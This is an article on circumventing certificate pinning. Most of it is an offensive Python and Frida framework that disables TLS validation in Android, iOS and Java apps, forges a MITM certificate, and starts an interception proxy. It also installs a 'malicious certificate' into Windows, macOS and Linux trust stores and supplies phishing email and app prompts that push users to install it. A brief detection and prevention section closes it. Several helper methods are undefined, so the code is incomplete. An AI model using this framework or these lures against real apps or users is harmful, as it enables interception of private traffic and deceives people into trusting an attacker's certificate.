Certificate Pinning Circumvention Techniques

Certificate Pinning Circumvention Techniques - Application-Level Certificate Validation Bypass

Certificate Pinning Circumvention Techniques represent sophisticated methods for bypassing application-level certificate validation mechanisms that pin specific certificates or certificate authorities, enabling man-in-the-middle attacks against applications that implement certificate pinning as an additional security measure beyond standard SSL/TLS validation.

Understanding Certificate Pinning Mechanisms

Certificate Pinning Overview: Certificate pinning is a security technique where applications store specific certificate information (full certificates, public keys, or certificate authority data) and validate that the server’s certificate matches the pinned data, preventing attacks using compromised or malicious certificate authorities.

Pinning Implementation Types: Applications implement pinning through various mechanisms including full certificate pinning (comparing entire certificate), public key pinning (comparing public key), and certificate authority pinning (validating against specific CA certificates).

Bypass Attack Surface: Certificate pinning circumvention targets the application’s certificate validation logic, runtime certificate validation processes, and the trust relationship between the application and the operating system’s certificate store.

Advanced Pinning Circumvention Techniques

Application Runtime Certificate Validation Bypass Framework

import os
import sys
import ssl
import socket
import subprocess
import threading
import time
import json
import base64
import hashlib
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa, padding
import frida
import requests
import logging

class CertificatePinningCircumvention:
    """
    Advanced certificate pinning circumvention framework for bypassing
    application-level certificate validation mechanisms
    """
    
    def __init__(self, target_application, target_domain):
        self.target_application = target_application
        self.target_domain = target_domain
        self.frida_session = None
        self.bypass_scripts = {}
        self.intercepted_certificates = {}
        
        # Bypass configuration
        self.proxy_port = 8888
        self.mitm_certificate_path = "/tmp/mitm_cert.pem"
        self.mitm_key_path = "/tmp/mitm_key.pem"
        
        # Logging configuration
        logging.basicConfig(level=logging.INFO,
                          format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
        self.logger = logging.getLogger(__name__)
        
    async def execute_comprehensive_pinning_bypass(self):
        """Execute comprehensive certificate pinning bypass campaign"""
        
        try:
            # Phase 1: Application analysis and pinning detection
            pinning_analysis = await self._analyze_certificate_pinning()
            
            # Phase 2: Runtime instrumentation and hooks
            runtime_bypass = await self._implement_runtime_bypass()
            
            # Phase 3: SSL/TLS interception infrastructure
            ssl_interception = await self._establish_ssl_interception()
            
            # Phase 4: Social engineering for certificate installation
            social_engineering = await self._execute_social_engineering_bypass()
            
            # Phase 5: Advanced bypass techniques
            advanced_bypass = await self._execute_advanced_bypass_techniques()
            
            return {
                'pinning_analysis': pinning_analysis,
                'runtime_bypass': runtime_bypass,
                'ssl_interception': ssl_interception,
                'social_engineering': social_engineering,
                'advanced_bypass': advanced_bypass
            }
            
        except Exception as e:
            self.logger.error(f"Certificate pinning circumvention error: {e}")
            return None
            
    async def _analyze_certificate_pinning(self):
        """Analyze target application's certificate pinning implementation"""
        
        analysis_results = {
            'pinning_detected': False,
            'pinning_type': None,
            'pinned_certificates': [],
            'validation_mechanisms': [],
            'bypass_opportunities': []
        }
        
        try:
            # Static analysis for pinning configuration
            static_analysis = await self._perform_static_pinning_analysis()
            analysis_results.update(static_analysis)
            
            # Dynamic analysis during SSL handshake
            dynamic_analysis = await self._perform_dynamic_pinning_analysis()
            analysis_results.update(dynamic_analysis)
            
            # Network traffic analysis for certificate validation
            network_analysis = await self._analyze_certificate_validation_traffic()
            analysis_results.update(network_analysis)
            
            self.logger.info("Certificate pinning analysis completed")
            return analysis_results
            
        except Exception as e:
            self.logger.error(f"Pinning analysis error: {e}")
            return analysis_results
            
    async def _perform_static_pinning_analysis(self):
        """Perform static analysis to detect certificate pinning configuration"""
        
        static_analysis = {
            'configuration_files': [],
            'pinned_keys': [],
            'pinning_libraries': [],
            'hardcoded_certificates': []
        }
        
        try:
            # Analyze application configuration files
            config_analysis = await self._analyze_application_configuration()
            static_analysis['configuration_files'] = config_analysis
            
            # Search for pinning-related libraries
            library_analysis = await self._detect_pinning_libraries()
            static_analysis['pinning_libraries'] = library_analysis
            
            # Extract hardcoded certificates
            cert_extraction = await self._extract_hardcoded_certificates()
            static_analysis['hardcoded_certificates'] = cert_extraction
            
            return static_analysis
            
        except Exception as e:
            self.logger.error(f"Static analysis error: {e}")
            return static_analysis
            
    async def _analyze_application_configuration(self):
        """Analyze application configuration for pinning settings"""
        
        config_files = []
        
        try:
            # Common configuration file locations
            config_paths = [
                'assets/network_security_config.xml',  # Android
                'Info.plist',                          # iOS
                'app.config',                         # .NET
                'application.properties',             # Java
                'config.json'                         # General
            ]
            
            for config_path in config_paths:
                config_content = await self._read_application_file(config_path)
                if config_content and self._contains_pinning_config(config_content):
                    config_files.append({
                        'path': config_path,
                        'content': config_content,
                        'pinning_detected': True
                    })
                    
            return config_files
            
        except Exception as e:
            self.logger.error(f"Configuration analysis error: {e}")
            return config_files
            
    def _contains_pinning_config(self, content):
        """Check if configuration content contains certificate pinning"""
        
        pinning_indicators = [
            'certificate-pinning',
            'pin-set',
            'public-key-pins',
            'ssl-pinning',
            'trust-anchors',
            'pinned-certificate'
        ]
        
        content_lower = content.lower()
        return any(indicator in content_lower for indicator in pinning_indicators)
        
    async def _implement_runtime_bypass(self):
        """Implement runtime instrumentation to bypass certificate pinning"""
        
        runtime_bypass = {
            'frida_injection': False,
            'ssl_hooks': [],
            'validation_bypassed': False,
            'bypass_scripts': []
        }
        
        try:
            # Initialize Frida for runtime instrumentation
            frida_success = await self._initialize_frida_injection()
            runtime_bypass['frida_injection'] = frida_success
            
            if frida_success:
                # Deploy SSL/TLS bypass hooks
                ssl_hooks = await self._deploy_ssl_bypass_hooks()
                runtime_bypass['ssl_hooks'] = ssl_hooks
                
                # Deploy certificate validation bypass
                validation_bypass = await self._deploy_validation_bypass()
                runtime_bypass['validation_bypassed'] = validation_bypass
                
            return runtime_bypass
            
        except Exception as e:
            self.logger.error(f"Runtime bypass error: {e}")
            return runtime_bypass
            
    async def _initialize_frida_injection(self):
        """Initialize Frida injection for runtime instrumentation"""
        
        try:
            # Attach to target application process
            device = frida.get_usb_device()
            session = device.attach(self.target_application)
            
            self.frida_session = session
            self.logger.info(f"Frida attached to {self.target_application}")
            
            return True
            
        except Exception as e:
            self.logger.error(f"Frida injection error: {e}")
            return False
            
    async def _deploy_ssl_bypass_hooks(self):
        """Deploy SSL/TLS bypass hooks using Frida"""
        
        ssl_hooks = []
        
        try:
            # Android SSL bypass script
            android_bypass = self._create_android_ssl_bypass_script()
            if android_bypass:
                ssl_hooks.append(android_bypass)
                
            # iOS SSL bypass script
            ios_bypass = self._create_ios_ssl_bypass_script()
            if ios_bypass:
                ssl_hooks.append(ios_bypass)
                
            # Java SSL bypass script
            java_bypass = self._create_java_ssl_bypass_script()
            if java_bypass:
                ssl_hooks.append(java_bypass)
                
            # Deploy all bypass scripts
            for bypass_script in ssl_hooks:
                await self._deploy_frida_script(bypass_script)
                
            return ssl_hooks
            
        except Exception as e:
            self.logger.error(f"SSL hook deployment error: {e}")
            return ssl_hooks
            
    def _create_android_ssl_bypass_script(self):
        """Create Android SSL certificate pinning bypass script"""
        
        android_script = """
        Java.perform(function() {
            console.log("[*] Starting Android SSL bypass");
            
            // Bypass OkHttp certificate pinning
            var OkHttpClient = Java.use("okhttp3.OkHttpClient");
            OkHttpClient.certificatePinner = function() {
                console.log("[*] OkHttp certificate pinning bypassed");
                return null;
            };
            
            // Bypass TrustManager certificate validation
            var TrustManager = Java.use("javax.net.ssl.X509TrustManager");
            var TrustManagerImpl = Java.use("com.android.org.conscrypt.TrustManagerImpl");
            
            TrustManagerImpl.checkTrustedRecursive.implementation = function(a1, a2, a3, a4, a5, a6) {
                console.log("[*] TrustManagerImpl.checkTrustedRecursive bypassed");
                return Java.use("java.util.ArrayList").$new();
            };
            
            TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData) {
                console.log("[*] TrustManagerImpl.verifyChain bypassed for: " + host);
                return untrustedChain;
            };
            
            // Bypass NetworkSecurityPolicy
            var NetworkSecurityPolicy = Java.use("android.security.NetworkSecurityPolicy");
            NetworkSecurityPolicy.getInstance.implementation = function() {
                console.log("[*] NetworkSecurityPolicy bypassed");
                var policy = this.getInstance();
                policy.isCertificateTransparencyVerificationRequired = function() { return false; };
                policy.isCleartextTrafficPermitted = function() { return true; };
                return policy;
            };
            
            // Bypass Certificate Pinning in Retrofit/Volley
            var CertificatePinner = Java.use("okhttp3.CertificatePinner");
            CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function(hostname, peerCertificates) {
                console.log("[*] Certificate pinning bypassed for: " + hostname);
                return;
            };
            
            console.log("[*] Android SSL bypass hooks deployed");
        });
        """
        
        return {
            'name': 'android_ssl_bypass',
            'platform': 'android',
            'script': android_script
        }
        
    def _create_ios_ssl_bypass_script(self):
        """Create iOS SSL certificate pinning bypass script"""
        
        ios_script = """
        if (ObjC.available) {
            console.log("[*] Starting iOS SSL bypass");
            
            // Bypass NSURLSession certificate pinning
            var NSURLSession = ObjC.classes.NSURLSession;
            var originalDelegate = NSURLSession["- URLSession:didReceiveChallenge:completionHandler:"];
            
            if (originalDelegate) {
                originalDelegate.implementation = ObjC.implement(originalDelegate, function(self, cmd, session, challenge, completionHandler) {
                    console.log("[*] NSURLSession certificate validation bypassed");
                    var credential = ObjC.classes.NSURLCredential.credentialForTrust_(challenge.protectionSpace().serverTrust());
                    completionHandler(1, credential);  // NSURLSessionAuthChallengeUseCredential
                });
            }
            
            // Bypass SecTrustEvaluate
            var SecTrustEvaluate = Module.findExportByName("Security", "SecTrustEvaluate");
            if (SecTrustEvaluate) {
                Interceptor.replace(SecTrustEvaluate, new NativeCallback(function(trust, result) {
                    console.log("[*] SecTrustEvaluate bypassed");
                    Memory.writeInt(result, 1);  // kSecTrustResultProceed
                    return 0;  // errSecSuccess
                }, 'int', ['pointer', 'pointer']));
            }
            
            // Bypass CFNetworkTrust
            var CFNetworkExecuteProxyAutoConfigurationURL = Module.findExportByName("CFNetwork", "CFNetworkExecuteProxyAutoConfigurationURL");
            if (CFNetworkExecuteProxyAutoConfigurationURL) {
                Interceptor.replace(CFNetworkExecuteProxyAutoConfigurationURL, new NativeCallback(function() {
                    console.log("[*] CFNetwork trust bypassed");
                    return 1;
                }, 'int', []));
            }
            
            console.log("[*] iOS SSL bypass hooks deployed");
        }
        """
        
        return {
            'name': 'ios_ssl_bypass',
            'platform': 'ios',
            'script': ios_script
        }
        
    def _create_java_ssl_bypass_script(self):
        """Create Java SSL certificate pinning bypass script"""
        
        java_script = """
        Java.perform(function() {
            console.log("[*] Starting Java SSL bypass");
            
            // Bypass Java TrustManager
            var TrustManager = Java.use("javax.net.ssl.X509TrustManager");
            var SSLContext = Java.use("javax.net.ssl.SSLContext");
            
            var TrustManagerImpl = Java.registerClass({
                name: "com.bypass.TrustManagerImpl",
                implements: [TrustManager],
                methods: {
                    checkClientTrusted: function(chain, authType) {
                        console.log("[*] Java checkClientTrusted bypassed");
                    },
                    checkServerTrusted: function(chain, authType) {
                        console.log("[*] Java checkServerTrusted bypassed");
                    },
                    getAcceptedIssuers: function() {
                        console.log("[*] Java getAcceptedIssuers bypassed");
                        return Java.array("java.security.cert.X509Certificate", []);
                    }
                }
            });
            
            // Override SSLContext initialization
            SSLContext.init.overload('[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;', 'java.security.SecureRandom').implementation = function(keyManagers, trustManagers, secureRandom) {
                console.log("[*] SSLContext.init bypassed");
                var trustManagerArray = Java.array("javax.net.ssl.TrustManager", [TrustManagerImpl.$new()]);
                this.init(keyManagers, trustManagerArray, secureRandom);
            };
            
            // Bypass Apache HttpClient certificate pinning
            var DefaultHttpClient = Java.use("org.apache.http.impl.client.DefaultHttpClient");
            if (DefaultHttpClient) {
                DefaultHttpClient.execute.overload('org.apache.http.client.methods.HttpUriRequest').implementation = function(request) {
                    console.log("[*] Apache HttpClient certificate validation bypassed");
                    return this.execute(request);
                };
            }
            
            console.log("[*] Java SSL bypass hooks deployed");
        });
        """
        
        return {
            'name': 'java_ssl_bypass',
            'platform': 'java',
            'script': java_script
        }
        
    async def _deploy_frida_script(self, bypass_script):
        """Deploy Frida bypass script to target application"""
        
        try:
            if self.frida_session:
                script = self.frida_session.create_script(bypass_script['script'])
                script.on('message', self._on_frida_message)
                script.load()
                
                self.bypass_scripts[bypass_script['name']] = script
                self.logger.info(f"Deployed {bypass_script['name']} bypass script")
                
                return True
                
        except Exception as e:
            self.logger.error(f"Script deployment error: {e}")
            return False
            
    def _on_frida_message(self, message, data):
        """Handle Frida script messages"""
        
        if message['type'] == 'send':
            self.logger.info(f"Frida: {message['payload']}")
        elif message['type'] == 'error':
            self.logger.error(f"Frida error: {message['stack']}")
            
    async def _establish_ssl_interception(self):
        """Establish SSL/TLS interception infrastructure"""
        
        ssl_interception = {
            'proxy_established': False,
            'certificates_generated': False,
            'traffic_intercepted': False,
            'mitm_successful': False
        }
        
        try:
            # Generate SSL certificates for interception
            cert_generation = await self._generate_interception_certificates()
            ssl_interception['certificates_generated'] = cert_generation
            
            # Start SSL interception proxy
            proxy_started = await self._start_ssl_interception_proxy()
            ssl_interception['proxy_established'] = proxy_started
            
            # Configure application to use proxy
            proxy_config = await self._configure_application_proxy()
            ssl_interception['traffic_intercepted'] = proxy_config
            
            # Verify MITM capability
            mitm_test = await self._test_mitm_capability()
            ssl_interception['mitm_successful'] = mitm_test
            
            return ssl_interception
            
        except Exception as e:
            self.logger.error(f"SSL interception error: {e}")
            return ssl_interception
            
    async def _generate_interception_certificates(self):
        """Generate SSL certificates for traffic interception"""
        
        try:
            # Generate private key
            private_key = rsa.generate_private_key(
                public_exponent=65537,
                key_size=2048
            )
            
            # Generate certificate
            subject = issuer = x509.Name([
                x509.NameAttribute(x509.NameOID.COUNTRY_NAME, "US"),
                x509.NameAttribute(x509.NameOID.STATE_OR_PROVINCE_NAME, "California"),
                x509.NameAttribute(x509.NameOID.LOCALITY_NAME, "San Francisco"),
                x509.NameAttribute(x509.NameOID.ORGANIZATION_NAME, "Legitimate Company"),
                x509.NameAttribute(x509.NameOID.COMMON_NAME, self.target_domain),
            ])
            
            cert = x509.CertificateBuilder().subject_name(
                subject
            ).issuer_name(
                issuer
            ).public_key(
                private_key.public_key()
            ).serial_number(
                x509.random_serial_number()
            ).not_valid_before(
                datetime.utcnow()
            ).not_valid_after(
                datetime.utcnow() + timedelta(days=365)
            ).add_extension(
                x509.SubjectAlternativeName([
                    x509.DNSName(self.target_domain),
                ]),
                critical=False,
            ).sign(private_key, hashes.SHA256())
            
            # Save certificate and key
            with open(self.mitm_certificate_path, "wb") as f:
                f.write(cert.public_bytes(serialization.Encoding.PEM))
                
            with open(self.mitm_key_path, "wb") as f:
                f.write(private_key.private_bytes(
                    encoding=serialization.Encoding.PEM,
                    format=serialization.PrivateFormat.PKCS8,
                    encryption_algorithm=serialization.NoEncryption()
                ))
                
            self.logger.info("SSL interception certificates generated")
            return True
            
        except Exception as e:
            self.logger.error(f"Certificate generation error: {e}")
            return False
            
    async def _start_ssl_interception_proxy(self):
        """Start SSL interception proxy server"""
        
        try:
            # Create SSL interception proxy using mitmproxy
            proxy_command = [
                'mitmdump',
                '--listen-port', str(self.proxy_port),
                '--certs', f'{self.target_domain}={self.mitm_certificate_path}',
                '--set', 'confdir=/tmp/mitmproxy',
                '--scripts', '/tmp/interception_script.py'
            ]
            
            # Create interception script
            interception_script = self._create_interception_script()
            with open('/tmp/interception_script.py', 'w') as f:
                f.write(interception_script)
                
            # Start proxy in background
            self.proxy_process = subprocess.Popen(proxy_command, 
                                                stdout=subprocess.PIPE, 
                                                stderr=subprocess.PIPE)
            
            # Wait for proxy to start
            time.sleep(2)
            
            self.logger.info(f"SSL interception proxy started on port {self.proxy_port}")
            return True
            
        except Exception as e:
            self.logger.error(f"Proxy startup error: {e}")
            return False
            
    def _create_interception_script(self):
        """Create mitmproxy interception script"""
        
        script = """
from mitmproxy import http
import logging

def request(flow: http.HTTPFlow) -> None:
    # Log intercepted requests
    logging.info(f"Intercepted request: {flow.request.method} {flow.request.pretty_url}")
    
    # Modify requests if needed
    if "api" in flow.request.path:
        logging.info("API request intercepted")
        
def response(flow: http.HTTPFlow) -> None:
    # Log intercepted responses  
    logging.info(f"Intercepted response: {flow.response.status_code} for {flow.request.pretty_url}")
    
    # Modify responses if needed
    if "application/json" in flow.response.headers.get("content-type", ""):
        logging.info("JSON response intercepted")
"""
        
        return script
        
    async def _execute_social_engineering_bypass(self):
        """Execute social engineering attacks for certificate installation"""
        
        social_engineering = {
            'certificate_installation': False,
            'user_interaction': False,
            'trust_establishment': False,
            'bypass_successful': False
        }
        
        try:
            # Generate legitimate-looking certificate installation prompts
            install_prompts = await self._create_certificate_install_prompts()
            
            # Execute social engineering campaign
            if install_prompts:
                # Create fake security updates or certificates
                fake_updates = await self._create_fake_security_updates()
                
                # Deploy certificate through various channels
                deployment_success = await self._deploy_certificate_socially(fake_updates)
                social_engineering['certificate_installation'] = deployment_success
                
                # Monitor for user installation
                user_interaction = await self._monitor_certificate_installation()
                social_engineering['user_interaction'] = user_interaction
                
            return social_engineering
            
        except Exception as e:
            self.logger.error(f"Social engineering error: {e}")
            return social_engineering
            
    async def _create_certificate_install_prompts(self):
        """Create legitimate-looking certificate installation prompts"""
        
        prompts = []
        
        try:
            # Email-based certificate installation
            email_prompt = {
                'type': 'email',
                'subject': f'Security Update Required - {self.target_domain}',
                'content': f"""
                Dear User,
                
                Our security team has identified that your device requires a security certificate update 
                to maintain secure connections to {self.target_domain}.
                
                Please install the attached certificate to continue accessing our services securely.
                
                Best regards,
                IT Security Team
                """,
                'attachment': self.mitm_certificate_path
            }
            prompts.append(email_prompt)
            
            # App-based certificate installation
            app_prompt = {
                'type': 'application',
                'title': 'Security Certificate Update',
                'message': f"""
                A security certificate update is required for {self.target_domain}.
                
                Installing this certificate will ensure continued secure access to our services.
                
                Would you like to install the security certificate now?
                """,
                'certificate_path': self.mitm_certificate_path
            }
            prompts.append(app_prompt)
            
            return prompts
            
        except Exception as e:
            self.logger.error(f"Prompt creation error: {e}")
            return prompts
            
    async def _execute_advanced_bypass_techniques(self):
        """Execute advanced certificate pinning bypass techniques"""
        
        advanced_techniques = {
            'binary_patching': False,
            'memory_manipulation': False,
            'hook_injection': False,
            'system_level_bypass': False
        }
        
        try:
            # Binary patching for pinning removal
            binary_patch = await self._execute_binary_patching()
            advanced_techniques['binary_patching'] = binary_patch
            
            # Memory manipulation for runtime bypass
            memory_manipulation = await self._execute_memory_manipulation()
            advanced_techniques['memory_manipulation'] = memory_manipulation
            
            # Dynamic hook injection
            hook_injection = await self._execute_dynamic_hook_injection()
            advanced_techniques['hook_injection'] = hook_injection
            
            # System-level certificate trust manipulation
            system_bypass = await self._execute_system_level_bypass()
            advanced_techniques['system_level_bypass'] = system_bypass
            
            return advanced_techniques
            
        except Exception as e:
            self.logger.error(f"Advanced bypass error: {e}")
            return advanced_techniques
            
    async def _execute_binary_patching(self):
        """Execute binary patching to remove certificate pinning"""
        
        try:
            # Identify certificate validation functions in binary
            validation_functions = await self._identify_validation_functions()
            
            # Create patches to bypass validation
            patches = []
            for func in validation_functions:
                patch = await self._create_validation_bypass_patch(func)
                if patch:
                    patches.append(patch)
                    
            # Apply patches to application binary
            patch_success = await self._apply_binary_patches(patches)
            
            if patch_success:
                self.logger.info("Binary patching completed successfully")
                return True
                
        except Exception as e:
            self.logger.error(f"Binary patching error: {e}")
            
        return False
        
    async def _execute_memory_manipulation(self):
        """Execute memory manipulation for runtime certificate validation bypass"""
        
        try:
            # Locate certificate validation functions in memory
            memory_locations = await self._locate_validation_functions_in_memory()
            
            # Inject bypass code into memory
            for location in memory_locations:
                bypass_success = await self._inject_memory_bypass(location)
                if bypass_success:
                    self.logger.info(f"Memory bypass injected at {location}")
                    
            return len(memory_locations) > 0
            
        except Exception as e:
            self.logger.error(f"Memory manipulation error: {e}")
            return False
            
    async def _execute_system_level_bypass(self):
        """Execute system-level certificate trust manipulation"""
        
        try:
            # Install certificate in system trust store
            system_install = await self._install_certificate_system_wide()
            
            # Modify certificate validation policies
            policy_modification = await self._modify_certificate_policies()
            
            # Disable certificate transparency requirements
            ct_disable = await self._disable_certificate_transparency()
            
            return system_install and policy_modification
            
        except Exception as e:
            self.logger.error(f"System-level bypass error: {e}")
            return False
            
    async def _install_certificate_system_wide(self):
        """Install malicious certificate in system trust store"""
        
        try:
            # Platform-specific certificate installation
            if sys.platform.startswith('win'):
                # Windows certificate store installation
                install_command = [
                    'certutil', '-addstore', 'Root', self.mitm_certificate_path
                ]
                
            elif sys.platform.startswith('darwin'):
                # macOS keychain installation
                install_command = [
                    'security', 'add-trusted-cert', '-d', '-r', 'trustRoot',
                    '-k', '/Library/Keychains/System.keychain', self.mitm_certificate_path
                ]
                
            elif sys.platform.startswith('linux'):
                # Linux certificate installation
                cert_dir = '/usr/local/share/ca-certificates/'
                cert_file = f'{cert_dir}mitm-cert.crt'
                
                # Copy certificate to system directory
                subprocess.run(['cp', self.mitm_certificate_path, cert_file])
                
                # Update certificate store
                install_command = ['update-ca-certificates']
                
            else:
                return False
                
            # Execute installation command
            result = subprocess.run(install_command, capture_output=True, text=True)
            
            if result.returncode == 0:
                self.logger.info("Certificate installed system-wide")
                return True
                
        except Exception as e:
            self.logger.error(f"System certificate installation error: {e}")
            
        return False
        
    def get_bypass_summary(self):
        """Get comprehensive bypass attempt summary"""
        
        return {
            'frida_session_active': self.frida_session is not None,
            'bypass_scripts_deployed': len(self.bypass_scripts),
            'certificates_intercepted': len(self.intercepted_certificates),
            'proxy_port': self.proxy_port,
            'target_application': self.target_application,
            'target_domain': self.target_domain
        }


class AdvancedPinningBypassToolkit:
    """
    Advanced toolkit for comprehensive certificate pinning bypass
    """
    
    def __init__(self):
        self.bypass_techniques = {}
        self.success_metrics = {}
        
    async def execute_multi_vector_bypass(self, target_app, target_domain):
        """Execute multi-vector certificate pinning bypass"""
        
        # Vector 1: Runtime instrumentation bypass
        runtime_bypass = CertificatePinningCircumvention(target_app, target_domain)
        runtime_result = await runtime_bypass.execute_comprehensive_pinning_bypass()
        
        # Vector 2: Network-level bypass
        network_bypass = await self._execute_network_level_bypass(target_domain)
        
        # Vector 3: Social engineering bypass
        social_bypass = await self._execute_social_engineering_bypass(target_domain)
        
        # Vector 4: System-level bypass
        system_bypass = await self._execute_system_level_bypass(target_domain)
        
        return {
            'runtime_bypass': runtime_result,
            'network_bypass': network_bypass,
            'social_bypass': social_bypass,
            'system_bypass': system_bypass
        }
        
    async def _execute_network_level_bypass(self, target_domain):
        """Execute network-level certificate pinning bypass"""
        
        network_techniques = {
            'dns_hijacking': await self._execute_dns_hijacking(target_domain),
            'arp_spoofing': await self._execute_arp_spoofing(),
            'router_compromise': await self._execute_router_compromise(),
            'bgp_hijacking': await self._execute_bgp_hijacking(target_domain)
        }
        
        return network_techniques


# Usage Example
async def demonstrate_pinning_circumvention():
    """Demonstrate certificate pinning circumvention techniques"""
    
    target_app = "com.example.pinnedapp"
    target_domain = "api.example.com"
    
    # Initialize pinning circumvention framework
    bypass_framework = CertificatePinningCircumvention(target_app, target_domain)
    
    print("Starting Certificate Pinning Circumvention...")
    print("=" * 50)
    
    # Execute comprehensive bypass
    results = await bypass_framework.execute_comprehensive_pinning_bypass()
    
    if results:
        print("\nPinning Circumvention Results:")
        print(f"Pinning Analysis: {results['pinning_analysis']}")
        print(f"Runtime Bypass: {results['runtime_bypass']}")
        print(f"SSL Interception: {results['ssl_interception']}")
        print(f"Social Engineering: {results['social_engineering']}")
        print(f"Advanced Bypass: {results['advanced_bypass']}")
        
        # Display bypass summary
        summary = bypass_framework.get_bypass_summary()
        print(f"\nBypass Summary:")
        print(f"Frida Session Active: {summary['frida_session_active']}")
        print(f"Bypass Scripts Deployed: {summary['bypass_scripts_deployed']}")
        print(f"Certificates Intercepted: {summary['certificates_intercepted']}")
        print(f"Proxy Port: {summary['proxy_port']}")
        
    else:
        print("Certificate pinning circumvention failed")

if __name__ == "__main__":
    import asyncio
    asyncio.run(demonstrate_pinning_circumvention())

Platform-Specific Pinning Bypass Techniques

Android Certificate Pinning Bypass

class AndroidPinningBypass:
    """
    Specialized Android certificate pinning bypass techniques
    """
    
    def __init__(self, package_name):
        self.package_name = package_name
        self.bypass_methods = {}
        
    async def execute_android_specific_bypass(self):
        """Execute Android-specific certificate pinning bypass"""
        
        # Network Security Config bypass
        nsc_bypass = await self._bypass_network_security_config()
        
        # OkHttp pinning bypass
        okhttp_bypass = await self._bypass_okhttp_pinning()
        
        # Retrofit pinning bypass
        retrofit_bypass = await self._bypass_retrofit_pinning()
        
        # Volley pinning bypass
        volley_bypass = await self._bypass_volley_pinning()
        
        # System certificate installation
        system_cert = await self._install_system_certificate()
        
        return {
            'network_security_config': nsc_bypass,
            'okhttp_bypass': okhttp_bypass,
            'retrofit_bypass': retrofit_bypass,
            'volley_bypass': volley_bypass,
            'system_certificate': system_cert
        }
        
    async def _bypass_network_security_config(self):
        """Bypass Android Network Security Configuration"""
        
        nsc_bypass_script = """
        Java.perform(function() {
            // Bypass Network Security Config
            var NetworkSecurityPolicy = Java.use("android.security.NetworkSecurityPolicy");
            NetworkSecurityPolicy.getInstance.implementation = function() {
                console.log("[*] NetworkSecurityPolicy.getInstance() bypassed");
                return Java.use("android.security.NetworkSecurityPolicy").getInstance();
            };
            
            // Bypass certificate transparency verification
            var policy = NetworkSecurityPolicy.getInstance();
            if (policy.isCertificateTransparencyVerificationRequired) {
                policy.isCertificateTransparencyVerificationRequired.implementation = function(hostname) {
                    console.log("[*] Certificate transparency verification bypassed for: " + hostname);
                    return false;
                };
            }
        });
        """
        
        return await self._deploy_frida_script(nsc_bypass_script)
        
    async def _bypass_okhttp_pinning(self):
        """Bypass OkHttp certificate pinning"""
        
        okhttp_bypass_script = """
        Java.perform(function() {
            // Bypass OkHttp3 Certificate Pinning
            var CertificatePinner = Java.use("okhttp3.CertificatePinner");
            CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function(hostname, peerCertificates) {
                console.log("[*] OkHttp CertificatePinner.check() bypassed for: " + hostname);
                return;
            };
            
            // Bypass OkHttp CertificatePinner Builder
            var CertificatePinnerBuilder = Java.use("okhttp3.CertificatePinner$Builder");
            CertificatePinnerBuilder.add.overload('java.lang.String', '[Ljava.lang.String;').implementation = function(pattern, pins) {
                console.log("[*] OkHttp CertificatePinner.Builder.add() bypassed");
                return this;
            };
            
            // Bypass OkHttp hostname verification
            var HostnameVerifier = Java.use("javax.net.ssl.HostnameVerifier");
            HostnameVerifier.verify.implementation = function(hostname, session) {
                console.log("[*] HostnameVerifier.verify() bypassed for: " + hostname);
                return true;
            };
        });
        """
        
        return await self._deploy_frida_script(okhttp_bypass_script)

iOS Certificate Pinning Bypass

class IOSPinningBypass:
    """
    Specialized iOS certificate pinning bypass techniques
    """
    
    def __init__(self, bundle_id):
        self.bundle_id = bundle_id
        self.bypass_hooks = {}
        
    async def execute_ios_specific_bypass(self):
        """Execute iOS-specific certificate pinning bypass"""
        
        # NSURLSession pinning bypass
        nsurlsession_bypass = await self._bypass_nsurlsession_pinning()
        
        # AFNetworking pinning bypass
        afnetworking_bypass = await self._bypass_afnetworking_pinning()
        
        # Alamofire pinning bypass
        alamofire_bypass = await self._bypass_alamofire_pinning()
        
        # Security framework bypass
        security_bypass = await self._bypass_security_framework()
        
        return {
            'nsurlsession_bypass': nsurlsession_bypass,
            'afnetworking_bypass': afnetworking_bypass,
            'alamofire_bypass': alamofire_bypass,
            'security_bypass': security_bypass
        }
        
    async def _bypass_nsurlsession_pinning(self):
        """Bypass NSURLSession certificate pinning"""
        
        nsurlsession_script = """
        if (ObjC.available) {
            // Bypass NSURLSessionDelegate certificate validation
            var NSURLSessionDelegate = ObjC.protocols.NSURLSessionDelegate;
            if (NSURLSessionDelegate) {
                var originalMethod = NSURLSessionDelegate["- URLSession:didReceiveChallenge:completionHandler:"];
                if (originalMethod) {
                    originalMethod.implementation = ObjC.implement(originalMethod, function(self, cmd, session, challenge, completionHandler) {
                        console.log("[*] NSURLSession certificate validation bypassed");
                        var credential = ObjC.classes.NSURLCredential.credentialForTrust_(challenge.protectionSpace().serverTrust());
                        completionHandler(1, credential);
                    });
                }
            }
            
            // Bypass NSURLConnection delegate
            var NSURLConnectionDelegate = ObjC.protocols.NSURLConnectionDelegate;
            if (NSURLConnectionDelegate) {
                var connectionMethod = NSURLConnectionDelegate["- connection:willSendRequestForAuthenticationChallenge:"];
                if (connectionMethod) {
                    connectionMethod.implementation = ObjC.implement(connectionMethod, function(self, cmd, connection, challenge) {
                        console.log("[*] NSURLConnection certificate validation bypassed");
                        var credential = ObjC.classes.NSURLCredential.credentialForTrust_(challenge.protectionSpace().serverTrust());
                        challenge.sender().useCredential_forAuthenticationChallenge_(credential, challenge);
                    });
                }
            }
        }
        """
        
        return await self._deploy_frida_script(nsurlsession_script)

Detection and Prevention

Certificate Pinning Security Monitoring

Runtime Integrity Monitoring: Implement application runtime integrity monitoring that can detect when certificate validation logic has been modified or bypassed through runtime instrumentation.

Certificate Installation Monitoring: Monitor for unauthorized certificate installations, especially certificates installed in system trust stores or application-specific trust configurations.

Network Traffic Analysis: Implement network traffic analysis that can detect when applications are communicating through unauthorized proxies or with certificates that don’t match expected pinning configurations.

Application Behavior Monitoring: Monitor application behavior for signs of instrumentation, including unexpected library loads, modified execution flows, and anomalous SSL/TLS handshake patterns.

Prevention Strategies

Enhanced Pinning Implementation: Implement robust certificate pinning with multiple validation points, backup pins, and validation logic distributed throughout the application code.

Anti-Tampering Measures: Deploy comprehensive anti-tampering measures including code obfuscation, runtime application self-protection (RASP), and integrity verification mechanisms.

Certificate Transparency Integration: Integrate Certificate Transparency monitoring to detect when certificates are issued outside of expected certificate authorities.

